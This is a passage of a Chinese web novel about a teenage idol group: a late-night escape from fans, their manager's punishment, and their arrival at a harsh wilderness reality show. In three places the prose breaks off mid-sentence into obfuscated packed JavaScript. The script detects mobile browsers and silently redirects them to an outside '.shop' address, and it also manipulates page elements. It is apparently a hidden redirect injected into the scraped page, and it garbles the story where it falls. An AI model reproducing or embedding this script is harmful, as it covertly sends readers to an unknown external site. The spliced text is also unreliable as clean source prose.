他们的年纪最小,擅长聆听长辈的意见,在前辈们面前表现得乖巧懂事,因为曾遭受过徐如夜深刻的“爱的教育”,所以他们对改编音乐已经有了很多自己的理解,再加上声乐课一直没断,改编的歌受到了很多专业音乐人的喜爱。 台前幕后都格外偏爱他们,不论是镜头还是花式字幕都是最多的,由于他们几个在一起非常有节目效果,导致节目收视率一度暴涨,不论到达什么地方都有人前呼后拥地疯狂地叫他们的名字。 上次在便利店,店员带着兴奋的语气认出他们并请他们签名,平时他在学校虽然低调但也不少人知道他的名字,演奏会之后也会有人跟他搭讪,他当时其实并没有什么特别大的感觉。 可此时,他真真切切地感受到排山倒海的欢呼与尖叫,感受到无数人在追逐他们,因为他们的一举一动,一言一行而沸腾,无数的闪光灯在他们行经之地闪烁,即使是黑夜也亮得如同白昼。 “邱以星,好神奇啊。”孔栩扭头找邱以星,对他说。 邱以星把他鸭舌帽往下一扣:“什么神奇不神奇的,看路。” 他们正在去往录播厅的路上,两个助理挡在他们左右,一边说着:“小心,请让一让。”一边护着他们与人群保持一定的距离,项汝怡全程戴着墨镜跟在他们身后,想着按照这种程度继续发展下去,还得给他们请几个保镖才行。 汽水广告的歌名最后改成了《透明》,项汝怡不同意叫《打嗝》,觉得不雅观,影响人家品牌形象。 陆笑蓉得知后神色黯淡地趴在孔栩肩膀上,可怜巴巴地佯装抽泣:“小木鱼,你看公司当初签我们的时候说给我们最大限度的自由,如今看来只是说说而已,竟然连歌名都决定不了,打嗝哪儿不雅观了?我还没起放屁呢。” 孔栩安慰她:“她有这个顾虑很正常啦,毕竟是商业类型的歌,要慎重一点。” “你怎么还帮着她说话,”陆笑蓉立即把头扭开,气鼓鼓的,“你不是我的小木鱼了。” 邱以星凉凉地看过来:“什么时候变成你的了?” “那是你的?”陆笑蓉感觉后背凉飕飕的,见人说人话,见鬼说鬼话,“我找桃子哭去。” 孔栩见状大笑:“你没事吓唬她干什么?” 邱以星走过来捏他的脸:“小木鱼,蓉蓉最近怎么跟你那么好了。” 孔栩捧着脸:“因为我人见人爱。” 邱以星心口不一地说:“还挺自恋。” 孔栩支起胳膊肘捅了他一下子。 最近项汝怡不让他们随随便便出门乱逛了,说是在公司附近有很多蹲点的人偷拍他们,并让他们出门的时候注意素质,别被人拍到发网上批斗。 话虽然这么说,他们压根没有时间出门逛,行程排得满满当当,有点休息时间被项汝怡逼着上网课,陆笑蓉一到网课的时间就说肚子疼要去蹲坑,项汝怡一眼就看出她在耍花招,让她一边蹲坑一边学习。 邱以星的成绩倒是稳步上升,孔栩每天都会跟他一块写作业,邱以星巴不得其他人都不爱学习,他就能独占孔栩了。 岚江的春天是稀有物种,仿佛在一夜间草长莺飞,不知名的鸟也都飞回来了。 他们只觉得天气越来越暖和,穿着也越来越单薄,浑然不觉窗外盎然的春意即将过去。 四月份参加了几场线下的演出,五月份受邀去音乐节表演,随着人气水涨船高,他们的压力也越来越大,叛逆之心也越来越强。 他们的表演刚结束,才九点钟不到,几个人在后台卸妆,思思要提前送他们回公司休息,陈颂趁思思把车开来的功夫,提议说:“要不我们出去玩玩吧,今年我还没看过岚江边上开了哪些花。” 孔栩举手表示同意,邱以星便没说什么,陆笑蓉拉了一下夏桃杉的手臂,恳求:“桃子,我们偷偷地去,偷偷地回来,让思思姐不告诉项姐就好了。” 几人一拍即合,等思思把车停在路边,发现这几人早就跑得没影了。 只有陈颂给她发来了一条信息:“思思姐,我们出去透透气,给我们保密。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151806|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >思思倒吸一口凉气,紧接着接到项汝怡给她的电话,顿时一个激灵直起身板,项汝怡对她说:“我和小晨先走了,你路上慢点,直接回来,提防他们的花言巧语,别让他们半路跑出去玩。” 晚上的风吹得人毛孔舒服得张开,两个女生在前边,三个男生在后面,慢悠悠地走。 音乐节还没结束,隐隐约约的歌声传进他们耳中,他们一边哼着歌,一边在路边拦出租车去岚江大桥。 街灯亮着,大街上的人零零散散的,没人注意到他们。 此刻他们几个人才稍微放松下来,虽然项汝怡说不给他们安排固定的人设,可镜头前也得呈现出最好的状态,没有人能够一直紧绷着永远完美不出错,长时间连轴转的工作导致每个人都身心俱疲,夜晚的空气格外新鲜,几人忍不住深深吸了好几口。 车就来了一辆,他们有五个人,孔栩便让陈颂和两个女生先过去,自己和邱以星在路边等一等。 结果他们三个人前脚刚走,孔栩和邱以星站在温暖的风中,听见一连串急促的脚步声,还伴随着大喊:“他们在这!真的是他们——” 这不是几个人,而是黑压压的一大帮人,看不清具体数量,可能没抢到音乐节的票而在外场转悠,这时听见呼喊声,一个个从路边草丛树影里钻出来,丧尸围城似的朝他们的方向跑来。 孔栩与邱以星对视一眼,纷纷从对方眼中看见惊惧之色,不会是冲他们来的吧? “啊啊啊啊孔栩邱以星——” “没错,是真人!!!” 万一被拍,项姐知道他们偷溜出去玩,可没有他们好果子吃的。 孔栩情急之下,一把抓住邱以星的手,暮春的晚上,在大街上狂奔。 四条大长腿在宽阔的马路上奔跑,空气中浮动着槐花甜蜜的香气,孔栩吸了一肚子风,脚却不敢停,气喘吁吁地问邱以星:“往哪儿走?” 邱以星拽着他跑了三百来米,突然间往左一转,绕进一条黑黢黢的小道,这是一片树林,树木将他们的身影遮得严严实实,追他们的人在附近也停下了脚步,困惑怎么一眨眼就没人影了。 他们两人在树干后面蹲下来,孔栩小心而轻声地深深呼吸,等人群都散开了,他抓了一下邱以星的袖子,笑嘻嘻地在他耳边说:“邱以星,我们这样像不像私奔啊。” 邱以星把他的头按在自己怀里,低声问:“我们既然都私奔过了,接下来要干什么?” 孔栩没想到邱以星会这么说,他张口就接:“当然是送入洞——等等,蓉蓉给我打电话。喂,蓉蓉,怎么了?” 陆笑蓉叹气说:“完了,我们偷偷出来被项姐知道了,思思姐正在逮我们的路上,你们俩别来了,直接回去吧。” 孔栩挂了电话,从地上捡起一朵刚落的月季,往邱以星衬衣胸前的口袋一插:“咱们得回去了,欣赏这朵得了。” 邱以星把花夹在孔栩耳朵上:“得这样欣赏,嗯,不错。” 下一秒,孔栩猝不及防地突然凑到邱以星面前,很是臭屁地捧起自己的脸:“比起花,还是我更好看吧。” 邱以星看着他,成天胡说八道,跟谁都亲近,情不自禁地有些悲哀了,于是他故意说:“花好看。” 孔栩锤他一拳:“……不行,重新说。” 62. 第 62 章 夏天转眼就到了,窗外的蝉鸣吵得人心绪不宁。 孔栩托着下巴在教室听柴晓驰讲课,柴晓驰讲得激情四射,唾液横飞,班里的气氛却死气沉沉,前排的同学低着头,时不时地抹一下脸。 这时柴晓驰突然点名:“邱以星。” 邱以星一愣,不明所以地站起身,柴晓驰说:“上来给同学们解一下这道题。” 众人顿时来了兴趣,目光纷纷转到他身上,孔栩也看着他,邱以星便只好上去解题目,题目有点难度,不过孔栩提前给他讲过,他快速且漂亮地列出一系列公式,得出了正确答案,搞得柴晓驰有些摸不着头脑,毫不吝惜地赞扬说:“不错嘛邱以星,这题不简单呐,看来恢复之前的水平指日可待了。” 邱以星的脸微微一僵,没说什么,回到了自己的座位。 孔栩朝他挤眉弄眼,学舌说:“不错嘛邱以星。” 邱以星抿着嘴,手悄悄绕到孔栩后腰,轻轻一按某个地方,孔栩顿时一嗓子“嗷”出声来,全班齐齐往他们这边看过来。 孔栩面红耳赤地低着头,连忙坐端正,背地里狠狠瞪邱以星一眼。 音乐节结束回来后,他们本以为不打报告偷溜出去这事顶多挨项汝怡一顿骂就了结,没想到项汝怡大发雷霆,陈颂当众跟她顶嘴吵架,说他们就是给公司赚钱的工具人,除了表演就是假笑,一点自由也没有。 这把项汝怡气得够呛,她默默忍了下来,平静地对他们说:“你们想要自由是吧?可以,我给你们自由。” 陈颂一时冲动的后果是,他们被送回学校,接下来的一个月取消了两场线上活动和三场线下活动,违约金从他们的劳务费里面扣。 陆笑蓉哭丧着脸:“项姐,别扣我的啦,都是陈颂的锅,我才不要给他背。” 项汝怡冷冰冰地拒绝:“你们是个共同进退的团体,不分你我。” 陆笑蓉继续求情:“我以后听话行吗?” 项汝怡头也不回,直接走人,陆笑蓉欲哭无泪,为自己失去的金钱而哀嚎。 陈颂吵完就后悔了,他当时确实有点生气,每天的生活都是在重复前一天,他无聊透顶,再加上没看成岚江边的花,他内心感到恼火,无处发泄,面对项汝怡的指责,他口不择言地说了那一通话。 虽然不是完全没有道理,可当初是他死皮赖脸缠着家里人说想唱歌当艺人,如今也算是有了一定的热度知名度,可他又觉得辛苦疲惫,思考这样的生活是否值得他为之奋斗一生。 他想要就能够得到,来得太轻易,也就不珍惜,唱歌是他喜欢的,和大家在一起唱歌也是他喜欢的,被人追捧,大声呐喊自己的名字他也感到很不错,可这些都不能让他感到持久的新鲜。 陈颂跟项汝怡闹得不欢而散,一个人坐在沙发上发呆,夏桃杉走过来,坐在他旁边,问他:“你在想什么?” “对不起啊,连累你们了。”陈颂揉了揉脸,叹气说。 夏桃杉:“你跟项姐好好认个错,她那样强势一个人,你总要给她个台阶下吧,她也是为我们着想。” 陈颂苦着脸:“我知道……我只是有点遗憾,这次没去成,下次不知道得到什么时候了。” 夏桃杉变戏法似的从手里变出一沓门票,在他眼前一晃:“如果是没看成花,我这里有两张植物园门票,这周六就能去玩。” 陈颂的脸红了,小声确认说:“就两张啊。” 夏桃杉大大方方地说:“你去吗?” 陈颂立即说:“去,我去。” 夏桃杉笑笑:“行,那就约好了啊。” 夏桃杉走后,陈颂兴奋地在沙发上打滚,陆笑蓉见到翻了个大大的白眼:出息。 六月末,期末考试一结束,项汝怡把他们五个人一并打包送到了山里。 陈颂找项汝怡认真诚恳地道歉,又找他哥陈闵帮忙说和,项汝怡才消气,看他认错态度良好,就不再跟他计较这事,她语重心长地说:“我知道你们辛苦,但是你们的事业才刚刚起步,松懈一点儿就被人赶超了,蛋糕总共就那么大,谁都想要吃一口,你不吃别人就抢走吃了。” 众人垂眉敛目纷纷说:“是是是。” 项汝怡又循循善诱:“我给你们接了一档真人秀直播综艺,那地方风景优美,是个天然的大氧吧,能近距离接触大自然,想看什么花什么动物都能看到,正好你们可以去放松放松,呼吸新鲜空气。” 众人没料到因祸得福,顿时喜笑颜开:“谢谢项姐。” 项汝怡缓缓地露出一个笑容:“不用这么快谢我。” 他们此前只录过普通综艺,大型的真人秀节目没有参加过,也并不经常直播,即使直播一般情况不超过一个小时。 项汝怡没有透露节目组具体的位置,但他们兴奋地猜测这种真人秀节目一定会有很多户外场景,说不定在某个度假村或者景区里面,得知这个消息后,各个都开始浮想联翩,充满激情地幻想他们会度过一个如何精彩又快乐的暑假。 出发前天晚上太过兴奋,一直聊到很晚,他们一上车就哈欠连天地闷头睡起来。 邱以星醒来已经中午了,他摘下眼罩,刺眼的光线令他不由得又闭了闭眼,孔栩倒在他腿上睡得正熟,他揉了揉眼,把孔栩上翘的一缕头发抚平,轻声问前面开车的司机:“师傅,我们经纪人的车还没过来吗?” 司机师傅说自己不知道,他只负责把他们送到地方。 项汝怡没跟着一起来,朱伦带着小晨和思思,帮他们把行李搬上后备箱,然后上了另一辆车,跟在他们车后陪了两个多小时,随后在下一个高速路口离开了。 邱以星打开手机,看见项汝怡在他们的大群里发了一条消息:我和他们先回去了,节目组不让我们继续跟着,你们到地方后会有专人陪同,祝你们好运。 邱以星瞬间升起一股不太好的预感。 其余人睡得太香,邱以星不想叫醒他们,打开地图软件看了一眼自己现在什么位置。 车早已经出省,正在往南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156694|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边移动,周围都是一些稀稀落落的小村子,没有任何高楼之类的建筑物。 “怎么了?”孔栩也醒了,他揭开眼罩,眼下被压出一道淡淡的痕迹,刚睡醒晕乎乎的,一时间分不清何时何地,缓了一会儿,才发现他们已经到了一个全然陌生的地方,植被高大葱郁,与岚江的有着天壤之别。 孔栩把其他人都叫醒,听见他们七嘴八舌的讨论,司机看了眼后视镜,爽朗地说:“别担心,我会送你们到呼也镇,大概还有两三个小时,到地方后节目组会派人联系你们。” 夏桃杉问:“师傅,呼也镇在哪里?我们要去这个镇子吗?” 司机乐呵呵地说:“是个镇子,不过你们的最终目的地不是这个镇子。” 陆笑蓉忧心忡忡:“这么偏,项姐不会是打算把我们几个人卖了吧?” “怎么可能,”陈颂说,“别胡思乱想。” 孔栩看累了把薄毯子一盖,戴上耳机开始听英语听力;陆笑蓉继续倒头睡觉,哈喇子淌到了下巴;夏桃杉歪着头靠在陈颂肩膀上,陈颂甚至微微打起了鼾。 邱以星面无表情地给项汝怡私发一条消息,问她到底想把他们送到什么地方去,要录制什么类型的真人秀? 项汝怡并没有正面回答,反而说:有什么想吃的就在路上多买点儿。 邱以星:什么意思? 怎么听起来跟对死刑犯说的话一样? 项汝怡:抓紧时间享受最后的自由时光吧。 邱以星大感不妙:你到底要把我们送哪儿去? 项汝怡没有再回复,一边的朱伦说:“项姐,真不管他们了啊?” “邵元不是在那吗?”项汝怡拨了拨耳边的碎发,“他可是做过那么多期真人秀综艺的总导演,还能搞不定那几个小孩?” “我不是这个意思,”朱伦皱了皱眉,“把这群娇生惯养的大少爷大小姐送到那么偏的地方,会不会不太好?陈总知道这事吗?这可是全天候二十四小时直播的节目,他家里人应该也会看到吧?” 项汝怡说:“他哥既然把公司交给我打理,就不会对我的决定指手画脚。陈颂那个臭脾气也是时候磨一磨了,吃点苦算什么,现在吃点苦以后就少走弯路,免得以后说话总不过脑子。行了,我有分寸,你盯着直播,有状况就告诉我。” 朱伦心里腹诽,这怕不是你在公报私仇,嘴上却说着:“好的。” 他们在下午四点多钟到达了呼也镇。 呼也镇背靠数座高大连绵起伏的山脉,树木苍翠遮天蔽日,有股原始而蓬勃的生命力。 通往镇里的路还有好长一截,他们便没进去,只把行李箱从后备箱里搬出来,司机说了一句让他们在这里等,然后便开着车扬长而去。 一行人孤零零地站在树荫下,等了半小时都没等到任何人影,剧烈毒辣的太阳照在头顶,把人晒得几乎要脱水,一路上也没吃多少东西,很快他们几人便焉头巴脑地蹲在地上,后知后觉明白过来,他们这是被项汝怡给坑了。 63. 第 63 章 节目组的人久等不至,他们几人即使蹲在树荫下,也被烤得浑身冒烟。 陈颂热得出了一身细汗,打开行李箱从角落里逃出来一把扇子,眉心紧皱,不停地扇着风:“到底什么情况啊,还要让我们等多久?” 地面坑坑洼洼,凹凸不平,铺了一层大小不一的石子,制造了一条尚可行走的道路。 邱以星一脸凝重,这地方太过偏僻,地图上都找不到位置,项汝怡说近距离接触大自然,他十分怀疑项汝怡是把他们送过来劳动改造。 他看了一眼孔栩,孔栩依旧是那副无所谓的样子,他甚至兴致勃勃地对邱以星说:“哇,邱以星,你看这里还有人在放牛!” 陆笑蓉举着手机,疑惑:“咦,电话打不出去……好大的花蚊子!” 她眼疾手快啪一声拍死一只蚊子,弹走蚊子的尸体,抱怨说:“我的老天啊,没有信号,这到底是个什么地方……” 夏桃杉见状,拿出一瓶驱蚊水,往他们几人身上喷了两下,她建议说:“要不我们去问问当地人,看能不能暂时找个歇脚的地方?太热了,再站下去要中暑了。” 孔栩便自告奋勇去找那个在不远处放牛的人,他往前一路小跑,拦住放牛人,放牛人戴了顶草帽,脸晒得黢黑,腰背佝偻着,抬眼诧异地打量着这位不速之客。 “大爷,您好,”孔栩礼貌地询问,“我和朋友刚来到这里,想找个地方歇歇脚,您知不知道这附近最近的旅馆在什么地方?” 老大爷的脸被晒得黑得发亮,穿着件单薄的褂子,露出两条干巴粗糙的胳膊,听完孔栩的话,他脸上闪过一丝茫然,很快咧开嘴笑,没有说话,反而使用肢体动作给孔栩比划起来。 孔栩完全理解不了,露出一个尴尬的微笑。 跟大爷沟通不了,他只好灰溜溜地跑回来,脸被晒得通红,邱以星给他扇着风,让他歇会儿,孔栩并不气馁:“没事,我们要不再等等,太阳落山他们要是还不来,我们就进镇子里,不管怎么着都能对付一宿。” 邱以星见他这么乐观,心里那股不快也烟消云散了,背靠大树静静地看孔栩晒得发红的侧脸。 陆笑蓉正想找邱以星问他那还有没有面包,一扭头就看见邱以星正专注地看着什么,沿着他的视线望过去,孔栩摘了一片草正在逗路过的蚂蚁。 她心里暗自打了个突,不动声色地收回视线。 大家聚在一起商量对策,眼看着天色逐渐暗下来,陆笑蓉实在饿得受不了了,她仰天长叹:“我好饿啊!” 孔栩:“我也饿了。” 邱以星:“我还剩点面包,一人只够一口。” 陆笑蓉后悔不迭:“我行李箱都装衣服和化妆品了!” 此刻夏桃杉弯腰打开自己的行李箱:“我这有吃的,我带了三盒自热火锅,之前品牌方送的,陈颂那还有矿泉水,我们分着吃吧,先把肚子填饱再说。” 陆笑蓉抱住她,泪流满面:“谢谢你,我亲爱的好姐姐,你就是我的再生父母。” 等邵元赶到的时候,天已经黑透了。 巨大的刺眼的车灯引出无数野生大蛾子一通乱撞。 只见不远处的地方蹲着几个人,车灯一打,五颗毛绒绒的脑袋齐刷刷扭头看过来。 自热火锅的热气被射灯照出了一片片弥散的颗粒感,他们凑在一起吃粉条,筷子不够分,他们把筷子分别折断,用面包蘸火锅底料,吃得嘴巴红通通的。 邵元下意识打开手机开始录制,把这一幕记录了下来,随后他中气十足地朝他们大喊一声,宛如天降救兵:“小朋友们,不好意思,车在路上抛锚了,让你们久等了!” 孔栩被他这一嗓子喊得差点噎住,邱以星给他顺了顺后背,皱眉说:“吃慢点,没人跟你抢,不够我这还有呢。” “咳咳,我知道,”桑述呛得面红耳赤,“这车……咳咳,是不是节目组的人来了?” 陆笑蓉当即就撂了筷子站起身,一手挡着刺眼的车灯,想质问怎么不提前通知他们一声,害他们平白无故在这破地方喂蚊子,结果一眼看见邵元那五大三粗结实的身材,话到嘴边又咽了回去。 陈颂一脸不悦,从小到大他也没受过这种罪,没好气地看了眼邵元:“您好,请问您是?” “你好,我叫邵元,是《录点什么好》的总导演兼制作人,”邵元热络地伸出手,“项汝怡把你们全权交托给我了,希望接下来这一个月我们合作顺利。” 陈颂瞥了那手一眼没理会,邵元摸了摸鼻子,这小子可真是少爷脾气,看来还没认清眼下的状况,他也懒得计较,自顾自笑了笑。 “邵导您好,”邱以星开口问,“我们晚上住哪儿?能不能先帮我们把行李箱装上车再说?” 邵元看了眼他们的行李箱,犹豫:“我们带不了这么多箱子。” 陈颂眉头几乎拧成了疙瘩:“什么意思?你们不会多开几辆车来吗?不知道我们人多、行李多?” 邵元仍然是那幅悠然自得的模样:“确实没有办法,等会我们要徒步上山,摄影师要扛着机器已经很辛苦了,这些行李需要你们自己搬上去。” 陈颂心头冒火,低声骂了句脏话:“上山?这山上有人吗?到底是上山还是上坟?!项汝怡呢,你能不能联系到她?” 邵元晃了晃自己的手机:“目前还没信号,山上有住的地方。你们经纪人说的‘全权交托’的意思是,现在只有我是你们的负责人与管理人,别说没信号了,就算有信号她也不会回你们的消息。” 邱以星抬眼看向茫茫无尽的山路,又绝望地看着自己的行李箱,这是不是太为难他们了? 邵元:“如果实在不能丢下,就多分几次拖上去,你们年轻力壮的,这点小事肯定难不住你们。” 眼前这条上山的路九曲十八弯,差不多两个成年人并行的宽度,孔栩看了眼邵元那辆SUV,这车肯定开不上去。 可他刚刚说山上有住的地方,说明上山的路不止一条,只是明显摆着刁难他们而已。 孔栩想了想,然后说:“邵导,明天再上去行不行?现在这么晚了,路上又没灯,万一出意外了怎么办?我们能不能在你们车里将就一夜,或者你带我们到这镇上找个宾馆先歇一歇?” “对,我们总得好好休息才有精神,不然一个个蓬头垢面的怎么录节目?”陈颂把剩余的汤汤水水装进垃圾袋,他脑筋一转,语气顿时缓和下来,明白项汝怡绝对指望不上后,选择当个识时务的人,谁让自己掉项汝怡坑里了。 他终于后知后觉地明白那天项汝怡的话是什么意思了,他要是知道会是这样,死都不可能来这里。 邵元想了想,点头说:“你们明天上山也行,不过据我所知这镇上没有什么宾馆,不过距这二十多公里的地方有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167962|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小型的商区,我们现在只有两辆车,人已经坐满了,还有三辆明天早上才能过来,要是你们不介意,我车里有两顶露营的帐篷,可以凑合一晚。” 两辆车已经坐满了,完全没有他们的位置,陈颂只好退而求其次跟其他人商量了一下:“算了,要不就将就一晚,你们怎么看?” 陆笑蓉可怜巴巴地说:“我好累,不想走了。” 夏桃杉也摇头。 两个女生都觉得没有问题,于是他们决定原地扎帐篷。 等他们七手八脚地扎好帐篷,已经是后半夜了。 明星满天,气温也比白天低了几度,徐徐微风拂过,他们往帐篷里猛喷了一顿驱蚊水,邵元的车距离帐篷很近,他发现这群原本愁眉苦脸的小孩不知道什么原因,竟然没心没肺又笑作了一团。 邵元感叹:真是精力过人。希望你们明天也有这么好的精神头。 陆笑蓉和夏桃杉住一起,另外三个男生挤在一顶帐篷里。 “好家伙,把我们塞山里体验生活来了,这一趟不得脱一层皮。”陈颂困得眼睛睁不开,喃喃说道,“Shamash他们参加的综艺怎么是去国外发达城市听听歌剧旅旅游,住五星级大酒店,光鲜亮丽的。我们呢,头天晚上就黑灯瞎火扎帐篷,饭都没吃饱,这待遇是不是差太多了?” 孔栩睡在邱以星和陈颂中间,他体格虽没这两人结实,可三人挤在一起还是分外难受。他直挺挺地躺着,宛若一具新鲜的尸体,叹气说:“还是别跟Shamash比了,我们才出道几个月?就单拿Shamash里的尹睢之来说,他一个人的人气能抵得过我们一个组合。” 另外一顶帐篷里的陆笑蓉听见,附和说:“是啊,说明我们还不够红!谁都能来欺负!要是Shamash被这样对待,他们粉丝不得手撕了节目组。” 这句话被邵元给剪了。 孔栩扭头看邱以星已经闭上了眼,他优越的鼻梁线条流畅,大概是困了,说话声音又低又沉:“Shamash比我们早好几年出道,一个个都是从练习生开始训练,每个人几乎都是人气王,现在跟他们完全没有可比性,他们待遇好也是应该的。” 他们忽然都沉默了,周围虫鸣声连成一片,心头不由得产生了一丝迷茫的情绪。 大概是太过疲惫,没了平时初生牛犊不怕虎的雄心壮志。 Shamash跟他们不是一个赛道,由于陆笑蓉对Shamash“怀恨在心”,他们会不由自主地想到那个组合。那才是国内最顶尖的组合,他们出席大型活动时,在台下总能看见Shamash作为压轴嘉宾出场,他们举手投足间是浑然天成的自信,仿佛是天生的巨星,到哪都能亮瞎人眼。 如果他们有像Shamash那样的热度,项汝怡是不可能把他们丢在这荒郊野岭不闻不问的。 这么一想,心头就更加辛酸了。 孔栩强迫自己不再想东想西,好好睡上一觉,可陈颂一躺下就开始打鼾,他被吵得睡不着,只好背对着陈颂,往邱以星身边挤。 邱以星展开手臂,给他腾出位置,孔栩便自然地抱住他,搭着节目组给的小毛毯,沉沉睡过去了。 邱以星睁着眼,此刻的眼中却没了丝毫困意。 他盯着孔栩的脸,盯了好一会儿,然后将脸凑过去,像只小动物一样用鼻尖轻轻贴了一下孔栩微微发凉的鼻尖。 64. 第 64 章 第二天他们刚从帐篷里爬出来,牙没刷脸没洗,就看到两位摄影师抬起摄像机像是炮筒一样对准了他们,火速钻回帐篷整理仪容仪表,生怕脸上有没擦干净的眼屎。 节目已经正式开始了。 一晚上过去,信号车已经抵达山脚停稳。 邵元收掉了他们的手机,所有镜头准备就绪,他对着镜头处变不惊地说:“大家好,昨天发生了点小意外,他们在野外睡了一宿,等会他们稍微整理一下就会去山上的营地。” 这五人迫不及待想找个地方好好洗个澡。 夏桃杉给其他人发了几个黑色口罩,先把脸蒙住再说,他们可不想用这种状态面对镜头,都下意识扭头躲开。 几人一手拖着一个行李箱跟着邵元上山,邵元穿着件短袖T恤,看上去三十出头,率先扛着摄像机走在前面,目测有一米八,肌肉结实,下盘很稳,走起路来带风,虽然扛着好几斤重的器材却丝毫不显累。 “要拍怎么也不提前说一声,”陆笑蓉打着哈欠,跟在陈颂身后,对身旁的夏桃杉小声嘀咕,“真不厚道,希望他们能稍微把我不美观的镜头剪掉。” 夏桃杉没睡好,神色恍惚:“我们要走多久才能到?” 邵元闻言停下了脚步:“这边人少,开发成本又大,所以比较荒芜,大概走到中午差不多就到了。” 几人内心一片悲鸣,这一路向上全部都是石头台阶,他们一人拖着两个巨大的行李箱,还没十几分钟就已经气喘吁吁,要是走到中午他们焉有命在? 这几个摄像头还一直怼着他们脸,他们敢怒不敢言。 陈颂回头看向自己的朋友们,大家都狼狈得要命,他呼出一口气,看向身轻如燕的邵元,把箱子往地上一摔,嘭地一声响惊动了众人。 “桃子和蓉蓉你们先歇会儿,”陈颂看向邱以星和孔栩,征求他们的意见,“我们先把行李箱搬上去,再过来接她们,你们觉得呢?” “行啊,”邱以星弯腰卷起裤脚,更方便行动,“先往上搬,上山比下山累,走不动路了再下山当休息。” 孔栩点了点头,回头对陆笑蓉和夏桃杉说:“那我们先上去,你们俩注意安全。” 陆笑蓉也没跟他们客气,手一挥:“知道,你们也注意安全!” 然后三个男生一手拎起一个行李箱侧边把手,沿着台阶飞速跑了上去。 摄影师一看不对劲,追不上了,只能远远拍他们的背影。 邵元眯起眼,拧开矿泉水瓶喝了口水。 陆笑蓉跟夏桃杉比划着什么,然后两人弯腰抬起一个行李箱继续往上走,这样就轻松多了。 她们往上走了二十多级台阶,又往下继续去搬其他的箱子,等陈颂他们过来时,她们已经往上又走了将近一百多级台阶,没怎么耽误工夫。 来回无数次,到中午十一点左右,他们才到达邵元说的山间小屋。 此时他们已经被榨干了身上最后一点力气,五个人摊在地板上汗流成河,又累又饿又渴,最后混合成一种奇怪的感受,头晕眼花,仿佛灵魂已经出窍。 邵元关掉机器,蹲在他们面前说:“先去洗个澡,等会告诉你们节目流程。刚刚试播的主要观看人群是你们的死忠粉,高峰时期将近有十万人,不过跟我们的预期相差很多,大概跟这档节目没开始集中宣传有关,你们也打起精神来。” 趁他们休息的间隙,邵元给他们简要介绍了一下节目的规则。 这档节目名称叫做《录点什么好》,是专为他们量身定制的一档网络直播综艺,除了每天早上九点到下午六点的十台摄像机全程跟拍,屋子里还装有无数摄像头,会记录他们的一言一行。 他们每周只有100元生活经费,总共有三项任务需要完成,明天会分发任务卡,每完成一项任务会有额外现金奖励,没完成会有惩罚,让他们做好相应的心理准备。 嚯,好家伙,一周100元?真野外生存来了?! 这五人疑心自己耳朵出了什么问题,于是又问了一遍。 邵元面不改色地重复完,然后说:“哦,对了,你们饿了吧?忘了告诉你们,节目组只提供住宿,不提供食物,盒饭是给工作人员准备的,你们休息好了可以去做午饭了。” 邱以星睁开疲惫的眼睛,生无可恋地问:“你们真不是在搞什么整蛊游戏吗?” 邵元轻笑一声:“我们可没那么无聊。” 陈颂缓缓地呼气,他放空大脑,开始想解决方法,要不让他哥派人开直升飞机过来把他们接回去,这是什么鬼综艺,他赌气地想,不做了!太欺负人了! 邵元离开后,没过片刻,陈颂开口问:“……谁做饭?” 他们洗完澡出来后,发现天边飘来几片乌云,天转眼就黑了,闷热感比郁闷更甚,压得人喘不过气。 山间小屋大概是由于节目需要临时盖的,不算简陋,但跟他们在公司的宿舍完全没法比。 小屋木质结构,外面有条带檐的长廊,东边是节目组工作人员休息的地方,西边则安排他们住,地方有限,好在麻雀虽小,五脏俱全,他们依旧是按照性别分房,陆笑蓉和夏桃杉住一间,陈颂和邱以星、孔栩住一间。 孔栩最后洗完,头发没擦干,便听见厨房有动静,是陆笑蓉在做饭。 她随意地将毛巾裹住长发,瞥见孔栩进来了,使唤他让他把手边上的酱油拿过来,嘴里嘀咕道:“节目组实在是太抠了,冰箱里吃的撑不了两天,调味料只有盐和酱油,明天要是天气好,得下山一趟去买食材。” 孔栩终于开口问:“蓉蓉,你为什么这么会做饭啊?” 陆笑蓉轻描淡写道:“穷人家的孩子早当家,我五岁就会做饭了。我爸妈都不在家,我要是不会做饭就得饿死。那时候我就想,早晚有一天我要出人头地,赚最多的钱,吃最好的东西,谁也饿不了我。” 她总是大大咧咧的,自来熟,跟谁都能搭上话,偶尔欠揍,大部分时间都很讨人喜欢,看不出来她有这样的身世。 她看了眼孔栩,熟练地翻炒锅里的青椒炒土豆丝,笑了笑:“你干嘛,同情我啊?幸好我会做饭,不然我们现在就得大眼瞪小眼,吃空气了。” “邱以星也会做饭,”孔栩没来由地说,“之前他在宿舍给我煮过饭,特别好吃。” 